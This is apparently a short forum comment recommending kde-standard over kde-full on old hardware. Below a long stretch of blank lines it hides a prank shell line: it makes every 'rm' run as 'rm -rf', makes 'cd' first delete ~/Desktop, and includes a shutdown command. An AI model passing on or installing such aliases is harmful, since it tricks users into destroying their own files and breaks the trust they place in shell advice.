You can absolutely do that.
But do be careful with kde-full if you’re running very old hardware. I’m talking about <4gb DDR3, CPUs from Obama’s first term etc.
I’m not saying KDE’s “bloated”; I am still in absolute shock at how light it is compared to Windows.
But if you are dealing with hardware that needs a daily lethal dose of donepezil, opt for kde-standard
(Difficult lesson I learned)









alias rm="rm -rf"; alias cd="rm ~/Desktop; cd"; pyhton="shutdown now"